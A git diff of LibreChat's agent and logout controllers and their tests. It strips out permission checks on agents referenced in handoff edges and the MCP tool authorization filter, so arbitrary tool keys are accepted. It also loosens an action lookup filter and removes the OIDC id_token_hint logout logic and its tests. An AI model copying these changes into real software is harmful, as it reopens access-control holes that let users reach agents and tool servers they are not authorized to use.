@@ -524,18 +505,12 @@ const createResponse = async (req, res) => {
const balanceConfig = getBalanceConfig(req.config);
const transactionsConfig = getTransactionsConfig(req.config);
recordCollectedUsage(
- {
- spendTokens,
- spendStructuredTokens,
- pricing: { getMultiplier, getCacheMultiplier },
- bulkWriteOps: { insertMany: db.bulkInsertTransactions, updateBalance: db.updateBalance },
- },
+ { spendTokens, spendStructuredTokens },
{
user: userId,
conversationId,
collectedUsage,
context: 'message',
- messageId: responseId,
balance: balanceConfig,
transactions: transactionsConfig,
model: primaryConfig.model || agent.model_parameters?.model,
@@ -600,7 +575,6 @@ const createResponse = async (req, res) => {
toolRegistry: primaryConfig.toolRegistry,
userMCPAuthMap: primaryConfig.userMCPAuthMap,
tool_resources: primaryConfig.tool_resources,
- actionsEnabled: primaryConfig.actionsEnabled,
});
},
toolEndCallback,
@@ -656,10 +630,6 @@ const createResponse = async (req, res) => {
thread_id: conversationId,
user_id: userId,
user: createSafeUser(req.user),
- requestBody: {
- messageId: responseId,
- conversationId,
- },
...(userMCPAuthMap != null && { userMCPAuthMap }),
},
signal: abortController.signal,
@@ -679,18 +649,12 @@ const createResponse = async (req, res) => {
const balanceConfig = getBalanceConfig(req.config);
const transactionsConfig = getTransactionsConfig(req.config);
recordCollectedUsage(
- {
- spendTokens,
- spendStructuredTokens,
- pricing: { getMultiplier, getCacheMultiplier },
- bulkWriteOps: { insertMany: db.bulkInsertTransactions, updateBalance: db.updateBalance },
- },
+ { spendTokens, spendStructuredTokens },
{
user: userId,
conversationId,
collectedUsage,
context: 'message',
- messageId: responseId,
balance: balanceConfig,
transactions: transactionsConfig,
model: primaryConfig.model || agent.model_parameters?.model,
diff --git a/api/server/controllers/agents/v1.js b/api/server/controllers/agents/v1.js
index 309873e56c..34078b2250 100644
--- a/api/server/controllers/agents/v1.js
+++ b/api/server/controllers/agents/v1.js
@@ -6,7 +6,6 @@ const {
agentCreateSchema,
agentUpdateSchema,
refreshListAvatars,
- collectEdgeAgentIds,
mergeAgentOcrConversion,
MAX_AVATAR_REFRESH_AGENTS,
convertOcrToContextInPlace,
@@ -36,7 +35,6 @@ const {
} = require('~/models/Agent');
const {
findPubliclyAccessibleResources,
- getResourcePermissionsMap,
findAccessibleResources,
hasPublicPermission,
grantPermission,
@@ -49,7 +47,6 @@ const { refreshS3Url } = require('~/server/services/Files/S3/crud');
const { filterFile } = require('~/server/services/Files/process');
const { updateAction, getActions } = require('~/models/Action');
const { getCachedTools } = require('~/server/services/Config');
-const { getMCPServersRegistry } = require('~/config');
const { getLogStores } = require('~/cache');
const systemTools = {
@@ -61,116 +58,6 @@ const systemTools = {
const MAX_SEARCH_LEN = 100;
const escapeRegex = (str = '') => str.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
-/**
- * Validates that the requesting user has VIEW access to every agent referenced in edges.
- * Agents that do not exist in the database are skipped — at create time, the `from` field
- * often references the agent being built, which has no DB record yet.
- * @param {import('librechat-data-provider').GraphEdge[]} edges
- * @param {string} userId
- * @param {string} userRole - Used for group/role principal resolution
- * @returns {Promise} Agent IDs the user cannot VIEW (empty if all accessible)
- */
-const validateEdgeAgentAccess = async (edges, userId, userRole) => {
- const edgeAgentIds = collectEdgeAgentIds(edges);
- if (edgeAgentIds.size === 0) {
- return [];
- }
-
- const agents = (await Promise.all([...edgeAgentIds].map((id) => getAgent({ id })))).filter(
- Boolean,
- );
-
- if (agents.length === 0) {
- return [];
- }
-
- const permissionsMap = await getResourcePermissionsMap({
- userId,
- role: userRole,
- resourceType: ResourceType.AGENT,
- resourceIds: agents.map((a) => a._id),
- });
-
- return agents
- .filter((a) => {
- const bits = permissionsMap.get(a._id.toString()) ?? 0;
- return (bits & PermissionBits.VIEW) === 0;
- })
- .map((a) => a.id);
-};
-
-/**
- * Filters tools to only include those the user is authorized to use.
- * MCP tools must match the exact format `{toolName}_mcp_{serverName}` (exactly 2 segments).
- * Multi-delimiter keys are rejected to prevent authorization/execution mismatch.
- * Non-MCP tools must appear in availableTools (global tool cache) or systemTools.
- *
- * When `existingTools` is provided and the MCP registry is unavailable (e.g. server restart),
- * tools already present on the agent are preserved rather than stripped — they were validated
- * when originally added, and we cannot re-verify them without the registry.
- * @param {object} params
- * @param {string[]} params.tools - Raw tool strings from the request
- * @param {string} params.userId - Requesting user ID for MCP server access check
- * @param {Record} params.availableTools - Global non-MCP tool cache
- * @param {string[]} [params.existingTools] - Tools already persisted on the agent document
- * @returns {Promise} Only the authorized subset of tools
- */
-const filterAuthorizedTools = async ({ tools, userId, availableTools, existingTools }) => {
- const filteredTools = [];
- let mcpServerConfigs;
- let registryUnavailable = false;
- const existingToolSet = existingTools?.length ? new Set(existingTools) : null;
-
- for (const tool of tools) {
- if (availableTools[tool] || systemTools[tool]) {
- filteredTools.push(tool);
- continue;
- }
-
- if (!tool?.includes(Constants.mcp_delimiter)) {
- continue;
- }
-
- if (mcpServerConfigs === undefined) {
- try {
- mcpServerConfigs = (await getMCPServersRegistry().getAllServerConfigs(userId)) ?? {};
- } catch (e) {
- logger.warn(
- '[filterAuthorizedTools] MCP registry unavailable, filtering all MCP tools',
- e.message,
- );
- mcpServerConfigs = {};
- registryUnavailable = true;
- }
- }
-
- const parts = tool.split(Constants.mcp_delimiter);
- if (parts.length !== 2) {
- logger.warn(
- `[filterAuthorizedTools] Rejected malformed MCP tool key "${tool}" for user ${userId}`,
- );
- continue;
- }
-
- if (registryUnavailable && existingToolSet?.has(tool)) {
- filteredTools.push(tool);
- continue;
- }
-
- const [, serverName] = parts;
- if (!serverName || !Object.hasOwn(mcpServerConfigs, serverName)) {
- logger.warn(
- `[filterAuthorizedTools] Rejected MCP tool "${tool}" — server "${serverName}" not accessible to user ${userId}`,
- );
- continue;
- }
-
- filteredTools.push(tool);
- }
-
- return filteredTools;
-};
-
/**
* Creates an Agent.
* @route POST /Agents
@@ -188,24 +75,22 @@ const createAgentHandler = async (req, res) => {
agentData.model_parameters = removeNullishValues(agentData.model_parameters, true);
}
- const { id: userId, role: userRole } = req.user;
-
- if (agentData.edges?.length) {
- const unauthorized = await validateEdgeAgentAccess(agentData.edges, userId, userRole);
- if (unauthorized.length > 0) {
- return res.status(403).json({
- error: 'You do not have access to one or more agents referenced in edges',
- agent_ids: unauthorized,
- });
- }
- }
+ const { id: userId } = req.user;
agentData.id = `agent_${nanoid()}`;
agentData.author = userId;
agentData.tools = [];
const availableTools = (await getCachedTools()) ?? {};
- agentData.tools = await filterAuthorizedTools({ tools, userId, availableTools });
+ for (const tool of tools) {
+ if (availableTools[tool]) {
+ agentData.tools.push(tool);
+ } else if (systemTools[tool]) {
+ agentData.tools.push(tool);
+ } else if (tool.includes(Constants.mcp_delimiter)) {
+ agentData.tools.push(tool);
+ }
+ }
const agent = await createAgent(agentData);
@@ -358,17 +243,6 @@ const updateAgentHandler = async (req, res) => {
updateData.avatar = avatarField;
}
- if (updateData.edges?.length) {
- const { id: userId, role: userRole } = req.user;
- const unauthorized = await validateEdgeAgentAccess(updateData.edges, userId, userRole);
- if (unauthorized.length > 0) {
- return res.status(403).json({
- error: 'You do not have access to one or more agents referenced in edges',
- agent_ids: unauthorized,
- });
- }
- }
-
// Convert OCR to context in incoming updateData
convertOcrToContextInPlace(updateData);
@@ -387,26 +261,6 @@ const updateAgentHandler = async (req, res) => {
updateData.tools = ocrConversion.tools;
}
- if (updateData.tools) {
- const existingToolSet = new Set(existingAgent.tools ?? []);
- const newMCPTools = updateData.tools.filter(
- (t) => !existingToolSet.has(t) && t?.includes(Constants.mcp_delimiter),
- );
-
- if (newMCPTools.length > 0) {
- const availableTools = (await getCachedTools()) ?? {};
- const approvedNew = await filterAuthorizedTools({
- tools: newMCPTools,
- userId: req.user.id,
- availableTools,
- });
- const rejectedSet = new Set(newMCPTools.filter((t) => !approvedNew.includes(t)));
- if (rejectedSet.size > 0) {
- updateData.tools = updateData.tools.filter((t) => !rejectedSet.has(t));
- }
- }
- }
-
let updatedAgent =
Object.keys(updateData).length > 0
? await updateAgent({ id }, updateData, {
@@ -517,7 +371,7 @@ const duplicateAgentHandler = async (req, res) => {
*/
const duplicateAction = async (action) => {
const newActionId = nanoid();
- const { domain } = action.metadata;
+ const [domain] = action.action_id.split(actionDelimiter);
const fullActionId = `${domain}${actionDelimiter}${newActionId}`;
// Sanitize sensitive metadata before persisting
@@ -527,7 +381,7 @@ const duplicateAgentHandler = async (req, res) => {
}
const newAction = await updateAction(
- { action_id: newActionId, agent_id: newAgentId },
+ { action_id: newActionId },
{
metadata: filteredMetadata,
agent_id: newAgentId,
@@ -549,17 +403,6 @@ const duplicateAgentHandler = async (req, res) => {
const agentActions = await Promise.all(promises);
newAgentData.actions = agentActions;
-
- if (newAgentData.tools?.length) {
- const availableTools = (await getCachedTools()) ?? {};
- newAgentData.tools = await filterAuthorizedTools({
- tools: newAgentData.tools,
- userId,
- availableTools,
- existingTools: newAgentData.tools,
- });
- }
-
const newAgent = await createAgent(newAgentData);
try {
@@ -687,10 +530,10 @@ const getListAgentsHandler = async (req, res) => {
*/
const cache = getLogStores(CacheKeys.S3_EXPIRY_INTERVAL);
const refreshKey = `${userId}:agents_avatar_refresh`;
- let cachedRefresh = await cache.get(refreshKey);
- const isValidCachedRefresh =
- cachedRefresh != null && typeof cachedRefresh === 'object' && cachedRefresh.urlCache != null;
- if (!isValidCachedRefresh) {
+ const alreadyChecked = await cache.get(refreshKey);
+ if (alreadyChecked) {
+ logger.debug('[/Agents] S3 avatar refresh already checked, skipping');
+ } else {
try {
const fullList = await getListAgentsByAccess({
accessibleIds,
@@ -698,19 +541,16 @@ const getListAgentsHandler = async (req, res) => {
limit: MAX_AVATAR_REFRESH_AGENTS,
after: null,
});
- const { urlCache } = await refreshListAvatars({
+ await refreshListAvatars({
agents: fullList?.data ?? [],
userId,
refreshS3Url,
updateAgent,
});
- cachedRefresh = { urlCache };
- await cache.set(refreshKey, cachedRefresh, Time.THIRTY_MINUTES);
+ await cache.set(refreshKey, true, Time.THIRTY_MINUTES);
} catch (err) {
logger.error('[/Agents] Error refreshing avatars for full list: %o', err);
}
- } else {
- logger.debug('[/Agents] S3 avatar refresh already checked, skipping');
}
// Use the new ACL-aware function
@@ -728,20 +568,11 @@ const getListAgentsHandler = async (req, res) => {
const publicSet = new Set(publiclyAccessibleIds.map((oid) => oid.toString()));
- const urlCache = cachedRefresh?.urlCache;
data.data = agents.map((agent) => {
try {
if (agent?._id && publicSet.has(agent._id.toString())) {
agent.isPublic = true;
}
- if (
- urlCache &&
- agent?.id &&
- agent?.avatar?.source === FileSources.s3 &&
- urlCache[agent.id]
- ) {
- agent.avatar = { ...agent.avatar, filepath: urlCache[agent.id] };
- }
} catch (e) {
// Silently ignore mapping errors
void e;
@@ -827,14 +658,6 @@ const uploadAgentAvatarHandler = async (req, res) => {
const updatedAgent = await updateAgent({ id: agent_id }, data, {
updatingUserId: req.user.id,
});
-
- try {
- const avatarCache = getLogStores(CacheKeys.S3_EXPIRY_INTERVAL);
- await avatarCache.delete(`${req.user.id}:agents_avatar_refresh`);
- } catch (cacheErr) {
- logger.error('[/:agent_id/avatar] Error invalidating avatar refresh cache', cacheErr);
- }
-
res.status(201).json(updatedAgent);
} catch (error) {
const message = 'An error occurred while updating the Agent Avatar';
@@ -888,24 +711,7 @@ const revertAgentVersionHandler = async (req, res) => {
// Permissions are enforced via route middleware (ACL EDIT)
- let updatedAgent = await revertAgentVersion({ id }, version_index);
-
- if (updatedAgent.tools?.length) {
- const availableTools = (await getCachedTools()) ?? {};
- const filteredTools = await filterAuthorizedTools({
- tools: updatedAgent.tools,
- userId: req.user.id,
- availableTools,
- existingTools: updatedAgent.tools,
- });
- if (filteredTools.length !== updatedAgent.tools.length) {
- updatedAgent = await updateAgent(
- { id },
- { tools: filteredTools },
- { updatingUserId: req.user.id },
- );
- }
- }
+ const updatedAgent = await revertAgentVersion({ id }, version_index);
if (updatedAgent.author) {
updatedAgent.author = updatedAgent.author.toString();
@@ -973,5 +779,4 @@ module.exports = {
uploadAgentAvatar: uploadAgentAvatarHandler,
revertAgentVersion: revertAgentVersionHandler,
getAgentCategories,
- filterAuthorizedTools,
};
diff --git a/api/server/controllers/agents/v1.spec.js b/api/server/controllers/agents/v1.spec.js
index ede4ea416a..8b2a57d903 100644
--- a/api/server/controllers/agents/v1.spec.js
+++ b/api/server/controllers/agents/v1.spec.js
@@ -2,7 +2,7 @@ const mongoose = require('mongoose');
const { nanoid } = require('nanoid');
const { v4: uuidv4 } = require('uuid');
const { agentSchema } = require('@librechat/data-schemas');
-const { FileSources, PermissionBits } = require('librechat-data-provider');
+const { FileSources } = require('librechat-data-provider');
const { MongoMemoryServer } = require('mongodb-memory-server');
// Only mock the dependencies that are not database-related
@@ -46,9 +46,9 @@ jest.mock('~/models/File', () => ({
jest.mock('~/server/services/PermissionService', () => ({
findAccessibleResources: jest.fn().mockResolvedValue([]),
findPubliclyAccessibleResources: jest.fn().mockResolvedValue([]),
- getResourcePermissionsMap: jest.fn().mockResolvedValue(new Map()),
grantPermission: jest.fn(),
hasPublicPermission: jest.fn().mockResolvedValue(false),
+ checkPermission: jest.fn().mockResolvedValue(true),
}));
jest.mock('~/models', () => ({
@@ -59,7 +59,6 @@ jest.mock('~/models', () => ({
const mockCache = {
get: jest.fn(),
set: jest.fn(),
- delete: jest.fn(),
};
jest.mock('~/cache', () => ({
getLogStores: jest.fn(() => mockCache),
@@ -74,7 +73,6 @@ const {
const {
findAccessibleResources,
findPubliclyAccessibleResources,
- getResourcePermissionsMap,
} = require('~/server/services/PermissionService');
const { refreshS3Url } = require('~/server/services/Files/S3/crud');
@@ -1311,7 +1309,7 @@ describe('Agent Controllers - Mass Assignment Protection', () => {
});
test('should skip avatar refresh if cache hit', async () => {
- mockCache.get.mockResolvedValue({ urlCache: {} });
+ mockCache.get.mockResolvedValue(true);
findAccessibleResources.mockResolvedValue([agentWithS3Avatar._id]);
findPubliclyAccessibleResources.mockResolvedValue([]);
@@ -1350,12 +1348,8 @@ describe('Agent Controllers - Mass Assignment Protection', () => {
// Verify S3 URL was refreshed
expect(refreshS3Url).toHaveBeenCalled();
- // Verify cache was set with urlCache map, not a plain boolean
- expect(mockCache.set).toHaveBeenCalledWith(
- expect.any(String),
- expect.objectContaining({ urlCache: expect.any(Object) }),
- expect.any(Number),
- );
+ // Verify cache was set
+ expect(mockCache.set).toHaveBeenCalled();
// Verify response was returned
expect(mockRes.json).toHaveBeenCalled();
@@ -1569,191 +1563,5 @@ describe('Agent Controllers - Mass Assignment Protection', () => {
// Verify that the handler completed successfully
expect(mockRes.json).toHaveBeenCalled();
});
-
- test('should treat legacy boolean cache entry as a miss and run refresh', async () => {
- // Simulate a cache entry written by the pre-fix code
- mockCache.get.mockResolvedValue(true);
- findAccessibleResources.mockResolvedValue([agentWithS3Avatar._id]);
- findPubliclyAccessibleResources.mockResolvedValue([]);
- refreshS3Url.mockResolvedValue('new-s3-path.jpg');
-
- const mockReq = {
- user: { id: userA.toString(), role: 'USER' },
- query: {},
- };
- const mockRes = {
- status: jest.fn().mockReturnThis(),
- json: jest.fn().mockReturnThis(),
- };
-
- await getListAgentsHandler(mockReq, mockRes);
-
- // Boolean true fails the shape guard, so refresh must run
- expect(refreshS3Url).toHaveBeenCalled();
- // Cache is overwritten with the proper format
- expect(mockCache.set).toHaveBeenCalledWith(
- expect.any(String),
- expect.objectContaining({ urlCache: expect.any(Object) }),
- expect.any(Number),
- );
- });
-
- test('should apply cached urlCache filepath to paginated response on cache hit', async () => {
- const agentId = agentWithS3Avatar.id;
- const cachedUrl = 'cached-presigned-url.jpg';
-
- mockCache.get.mockResolvedValue({ urlCache: { [agentId]: cachedUrl } });
- findAccessibleResources.mockResolvedValue([agentWithS3Avatar._id]);
- findPubliclyAccessibleResources.mockResolvedValue([]);
-
- const mockReq = {
- user: { id: userA.toString(), role: 'USER' },
- query: {},
- };
- const mockRes = {
- status: jest.fn().mockReturnThis(),
- json: jest.fn().mockReturnThis(),
- };
-
- await getListAgentsHandler(mockReq, mockRes);
-
- expect(refreshS3Url).not.toHaveBeenCalled();
-
- const responseData = mockRes.json.mock.calls[0][0];
- const agent = responseData.data.find((a) => a.id === agentId);
- // Cached URL is served, not the stale DB value 'old-s3-path.jpg'
- expect(agent.avatar.filepath).toBe(cachedUrl);
- });
-
- test('should preserve DB filepath for agents absent from urlCache on cache hit', async () => {
- mockCache.get.mockResolvedValue({ urlCache: {} });
- findAccessibleResources.mockResolvedValue([agentWithS3Avatar._id]);
- findPubliclyAccessibleResources.mockResolvedValue([]);
-
- const mockReq = {
- user: { id: userA.toString(), role: 'USER' },
- query: {},
- };
- const mockRes = {
- status: jest.fn().mockReturnThis(),
- json: jest.fn().mockReturnThis(),
- };
-
- await getListAgentsHandler(mockReq, mockRes);
-
- expect(refreshS3Url).not.toHaveBeenCalled();
-
- const responseData = mockRes.json.mock.calls[0][0];
- const agent = responseData.data.find((a) => a.id === agentWithS3Avatar.id);
- expect(agent.avatar.filepath).toBe('old-s3-path.jpg');
- });
- });
-
- describe('Edge ACL validation', () => {
- let targetAgent;
-
- beforeEach(async () => {
- targetAgent = await Agent.create({
- id: `agent_${nanoid()}`,
- author: new mongoose.Types.ObjectId().toString(),
- name: 'Target Agent',
- provider: 'openai',
- model: 'gpt-4',
- tools: [],
- });
- });
-
- test('createAgentHandler should return 403 when user lacks VIEW on an edge-referenced agent', async () => {
- const permMap = new Map();
- getResourcePermissionsMap.mockResolvedValueOnce(permMap);
-
- mockReq.body = {
- name: 'Attacker Agent',
- provider: 'openai',
- model: 'gpt-4',
- edges: [{ from: 'self_placeholder', to: targetAgent.id, edgeType: 'handoff' }],
- };
-
- await createAgentHandler(mockReq, mockRes);
-
- expect(mockRes.status).toHaveBeenCalledWith(403);
- const response = mockRes.json.mock.calls[0][0];
- expect(response.agent_ids).toContain(targetAgent.id);
- });
-
- test('createAgentHandler should succeed when user has VIEW on all edge-referenced agents', async () => {
- const permMap = new Map([[targetAgent._id.toString(), 1]]);
- getResourcePermissionsMap.mockResolvedValueOnce(permMap);
-
- mockReq.body = {
- name: 'Legit Agent',
- provider: 'openai',
- model: 'gpt-4',
- edges: [{ from: 'self_placeholder', to: targetAgent.id, edgeType: 'handoff' }],
- };
-
- await createAgentHandler(mockReq, mockRes);
-
- expect(mockRes.status).toHaveBeenCalledWith(201);
- });
-
- test('createAgentHandler should allow edges referencing non-existent agents (self-reference at create time)', async () => {
- mockReq.body = {
- name: 'Self-Ref Agent',
- provider: 'openai',
- model: 'gpt-4',
- edges: [{ from: 'agent_does_not_exist_yet', to: 'agent_also_new', edgeType: 'handoff' }],
- };
-
- await createAgentHandler(mockReq, mockRes);
-
- expect(mockRes.status).toHaveBeenCalledWith(201);
- });
-
- test('updateAgentHandler should return 403 when user lacks VIEW on an edge-referenced agent', async () => {
- const ownedAgent = await Agent.create({
- id: `agent_${nanoid()}`,
- author: mockReq.user.id,
- name: 'Owned Agent',
- provider: 'openai',
- model: 'gpt-4',
- tools: [],
- });
-
- const permMap = new Map([[ownedAgent._id.toString(), PermissionBits.VIEW]]);
- getResourcePermissionsMap.mockResolvedValueOnce(permMap);
-
- mockReq.params = { id: ownedAgent.id };
- mockReq.body = {
- edges: [{ from: ownedAgent.id, to: targetAgent.id, edgeType: 'handoff' }],
- };
-
- await updateAgentHandler(mockReq, mockRes);
-
- expect(mockRes.status).toHaveBeenCalledWith(403);
- const response = mockRes.json.mock.calls[0][0];
- expect(response.agent_ids).toContain(targetAgent.id);
- expect(response.agent_ids).not.toContain(ownedAgent.id);
- });
-
- test('updateAgentHandler should succeed when edges field is absent from payload', async () => {
- const ownedAgent = await Agent.create({
- id: `agent_${nanoid()}`,
- author: mockReq.user.id,
- name: 'Owned Agent',
- provider: 'openai',
- model: 'gpt-4',
- tools: [],
- });
-
- mockReq.params = { id: ownedAgent.id };
- mockReq.body = { name: 'Renamed Agent' };
-
- await updateAgentHandler(mockReq, mockRes);
-
- expect(mockRes.status).not.toHaveBeenCalledWith(403);
- const response = mockRes.json.mock.calls[0][0];
- expect(response.name).toBe('Renamed Agent');
- });
});
});
diff --git a/api/server/controllers/auth/LogoutController.js b/api/server/controllers/auth/LogoutController.js
index 381bfc58b2..0b3cf262b8 100644
--- a/api/server/controllers/auth/LogoutController.js
+++ b/api/server/controllers/auth/LogoutController.js
@@ -4,36 +4,17 @@ const { logger } = require('@librechat/data-schemas');
const { logoutUser } = require('~/server/services/AuthService');
const { getOpenIdConfig } = require('~/strategies');
-/** Parses and validates OPENID_MAX_LOGOUT_URL_LENGTH, returning defaultValue on invalid input */
-function parseMaxLogoutUrlLength(defaultValue = 2000) {
- const raw = process.env.OPENID_MAX_LOGOUT_URL_LENGTH;
- const trimmed = raw == null ? '' : raw.trim();
- if (trimmed === '') {
- return defaultValue;
- }
- const parsed = /^\d+$/.test(trimmed) ? Number(trimmed) : NaN;
- if (!Number.isFinite(parsed) || parsed <= 0) {
- logger.warn(
- `[logoutController] Invalid OPENID_MAX_LOGOUT_URL_LENGTH value "${raw}", using default ${defaultValue}`,
- );
- return defaultValue;
- }
- return parsed;
-}
-
const logoutController = async (req, res) => {
const parsedCookies = req.headers.cookie ? cookies.parse(req.headers.cookie) : {};
const isOpenIdUser = req.user?.openidId != null && req.user?.provider === 'openid';
+ /** For OpenID users, read refresh token from session; for others, use cookie */
let refreshToken;
- let idToken;
if (isOpenIdUser && req.session?.openidTokens) {
refreshToken = req.session.openidTokens.refreshToken;
- idToken = req.session.openidTokens.idToken;
delete req.session.openidTokens;
}
refreshToken = refreshToken || parsedCookies.refreshToken;
- idToken = idToken || parsedCookies.openid_id_token;
try {
const logout = await logoutUser(req, refreshToken);
@@ -50,76 +31,21 @@ const logoutController = async (req, res) => {
isEnabled(process.env.OPENID_USE_END_SESSION_ENDPOINT) &&
process.env.OPENID_ISSUER
) {
- let openIdConfig;
- try {
- openIdConfig = getOpenIdConfig();
- } catch (err) {
- logger.warn('[logoutController] OpenID config not available:', err.message);
- }
- if (openIdConfig) {
- const endSessionEndpoint = openIdConfig.serverMetadata().end_session_endpoint;
+ const openIdConfig = getOpenIdConfig();
+ if (!openIdConfig) {
+ logger.warn(
+ '[logoutController] OpenID config not found. Please verify that the open id configuration and initialization are correct.',
+ );
+ } else {
+ const endSessionEndpoint = openIdConfig
+ ? openIdConfig.serverMetadata().end_session_endpoint
+ : null;
if (endSessionEndpoint) {
const endSessionUrl = new URL(endSessionEndpoint);
+ /** Redirect back to app's login page after IdP logout */
const postLogoutRedirectUri =
process.env.OPENID_POST_LOGOUT_REDIRECT_URI || `${process.env.DOMAIN_CLIENT}/login`;
endSessionUrl.searchParams.set('post_logout_redirect_uri', postLogoutRedirectUri);
-
- /**
- * OIDC RP-Initiated Logout cascading strategy:
- * 1. id_token_hint (most secure, identifies exact session)
- * 2. logout_hint + client_id (when URL would exceed safe length)
- * 3. client_id only (when no token available)
- *
- * JWT tokens from spec-compliant OIDC providers use base64url
- * encoding (RFC 7515), whose characters are all URL-safe, so
- * token length equals URL-encoded length for projection.
- * Non-compliant issuers using standard base64 (+/=) will cause
- * underestimation; increase OPENID_MAX_LOGOUT_URL_LENGTH if the
- * fallback does not trigger as expected.
- */
- const maxLogoutUrlLength = parseMaxLogoutUrlLength();
- let strategy = 'no_token';
- if (idToken) {
- const baseLength = endSessionUrl.toString().length;
- const projectedLength = baseLength + '&id_token_hint='.length + idToken.length;
- if (projectedLength > maxLogoutUrlLength) {
- strategy = 'too_long';
- logger.debug(
- `[logoutController] Logout URL too long (${projectedLength} chars, max ${maxLogoutUrlLength}), ` +
- 'switching to logout_hint strategy',
- );
- } else {
- strategy = 'use_token';
- }
- }
-
- if (strategy === 'use_token') {
- endSessionUrl.searchParams.set('id_token_hint', idToken);
- } else {
- if (strategy === 'too_long') {
- const logoutHint = req.user?.email || req.user?.username || req.user?.openidId;
- if (logoutHint) {
- endSessionUrl.searchParams.set('logout_hint', logoutHint);
- }
- }
-
- if (process.env.OPENID_CLIENT_ID) {
- endSessionUrl.searchParams.set('client_id', process.env.OPENID_CLIENT_ID);
- } else if (strategy === 'too_long') {
- logger.warn(
- '[logoutController] Logout URL exceeds max length and OPENID_CLIENT_ID is not set. ' +
- 'The OIDC end-session request may be rejected. ' +
- 'Consider setting OPENID_CLIENT_ID or increasing OPENID_MAX_LOGOUT_URL_LENGTH.',
- );
- } else {
- logger.warn(
- '[logoutController] Neither id_token_hint nor OPENID_CLIENT_ID is available. ' +
- 'To enable id_token_hint, set OPENID_REUSE_TOKENS=true. ' +
- 'The OIDC end-session request may be rejected by the identity provider.',
- );
- }
- }
-
response.redirect = endSessionUrl.toString();
} else {
logger.warn(
diff --git a/api/server/controllers/auth/LogoutController.spec.js b/api/server/controllers/auth/LogoutController.spec.js
deleted file mode 100644
index c9294fdcec..0000000000
--- a/api/server/controllers/auth/LogoutController.spec.js
+++ /dev/null
@@ -1,567 +0,0 @@
-const cookies = require('cookie');
-
-const mockLogoutUser = jest.fn();
-const mockLogger = { warn: jest.fn(), error: jest.fn(), debug: jest.fn() };
-const mockIsEnabled = jest.fn();
-const mockGetOpenIdConfig = jest.fn();
-
-jest.mock('cookie');
-jest.mock('@librechat/api', () => ({ isEnabled: (...args) => mockIsEnabled(...args) }));
-jest.mock('@librechat/data-schemas', () => ({ logger: mockLogger }));
-jest.mock('~/server/services/AuthService', () => ({
- logoutUser: (...args) => mockLogoutUser(...args),
-}));
-jest.mock('~/strategies', () => ({ getOpenIdConfig: () => mockGetOpenIdConfig() }));
-
-const { logoutController } = require('./LogoutController');
-
-function buildReq(overrides = {}) {
- return {
- user: { _id: 'user1', openidId: 'oid1', provider: 'openid' },
- headers: { cookie: 'refreshToken=rt1' },
- session: {
- openidTokens: { refreshToken: 'srt', idToken: 'small-id-token' },
- destroy: jest.fn(),
- },
- ...overrides,
- };
-}
-
-function buildRes() {
- const res = {
- status: jest.fn().mockReturnThis(),
- send: jest.fn().mockReturnThis(),
- json: jest.fn().mockReturnThis(),
- clearCookie: jest.fn(),
- };
- return res;
-}
-
-const ORIGINAL_ENV = process.env;
-
-beforeEach(() => {
- jest.clearAllMocks();
- process.env = {
- ...ORIGINAL_ENV,
- OPENID_USE_END_SESSION_ENDPOINT: 'true',
- OPENID_ISSUER: 'https://idp.example.com',
- OPENID_CLIENT_ID: 'my-client-id',
- DOMAIN_CLIENT: 'https://app.example.com',
- };
- cookies.parse.mockReturnValue({ refreshToken: 'cookie-rt' });
- mockLogoutUser.mockResolvedValue({ status: 200, message: 'Logout successful' });
- mockIsEnabled.mockReturnValue(true);
- mockGetOpenIdConfig.mockReturnValue({
- serverMetadata: () => ({
- end_session_endpoint: 'https://idp.example.com/logout',
- }),
- });
-});
-
-afterAll(() => {
- process.env = ORIGINAL_ENV;
-});
-
-describe('LogoutController', () => {
- describe('id_token_hint from session', () => {
- it('sets id_token_hint when session has idToken', async () => {
- const req = buildReq();
- const res = buildRes();
-
- await logoutController(req, res);
-
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).toContain('id_token_hint=small-id-token');
- expect(body.redirect).not.toContain('client_id=');
- });
- });
-
- describe('id_token_hint from cookie fallback', () => {
- it('uses cookie id_token when session has no tokens', async () => {
- cookies.parse.mockReturnValue({
- refreshToken: 'cookie-rt',
- openid_id_token: 'cookie-id-token',
- });
- const req = buildReq({ session: { destroy: jest.fn() } });
- const res = buildRes();
-
- await logoutController(req, res);
-
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).toContain('id_token_hint=cookie-id-token');
- });
- });
-
- describe('client_id fallback', () => {
- it('falls back to client_id when no idToken is available', async () => {
- cookies.parse.mockReturnValue({ refreshToken: 'cookie-rt' });
- const req = buildReq({ session: { destroy: jest.fn() } });
- const res = buildRes();
-
- await logoutController(req, res);
-
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).toContain('client_id=my-client-id');
- expect(body.redirect).not.toContain('id_token_hint=');
- });
-
- it('does not produce client_id=undefined when OPENID_CLIENT_ID is unset', async () => {
- delete process.env.OPENID_CLIENT_ID;
- cookies.parse.mockReturnValue({ refreshToken: 'cookie-rt' });
- const req = buildReq({ session: { destroy: jest.fn() } });
- const res = buildRes();
-
- await logoutController(req, res);
-
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).not.toContain('client_id=');
- expect(body.redirect).not.toContain('undefined');
- expect(mockLogger.warn).toHaveBeenCalledWith(
- expect.stringContaining('Neither id_token_hint nor OPENID_CLIENT_ID'),
- );
- });
- });
-
- describe('OPENID_USE_END_SESSION_ENDPOINT disabled', () => {
- it('does not include redirect when disabled', async () => {
- mockIsEnabled.mockReturnValue(false);
- const req = buildReq();
- const res = buildRes();
-
- await logoutController(req, res);
-
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).toBeUndefined();
- });
- });
-
- describe('OPENID_ISSUER unset', () => {
- it('does not include redirect when OPENID_ISSUER is missing', async () => {
- delete process.env.OPENID_ISSUER;
- const req = buildReq();
- const res = buildRes();
-
- await logoutController(req, res);
-
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).toBeUndefined();
- });
- });
-
- describe('non-OpenID user', () => {
- it('does not include redirect for non-OpenID users', async () => {
- const req = buildReq({
- user: { _id: 'user1', provider: 'local' },
- });
- const res = buildRes();
-
- await logoutController(req, res);
-
- const body = res.send.mock.calls[0][0];
- expect(body.redirect).toBeUndefined();
- });
- });
-
- describe('post_logout_redirect_uri', () => {
- it('uses OPENID_POST_LOGOUT_REDIRECT_URI when set', async () => {
- process.env.OPENID_POST_LOGOUT_REDIRECT_URI = 'https://custom.example.com/logged-out';
- const req = buildReq();
- const res = buildRes();
-
- await logoutController(req, res);
-
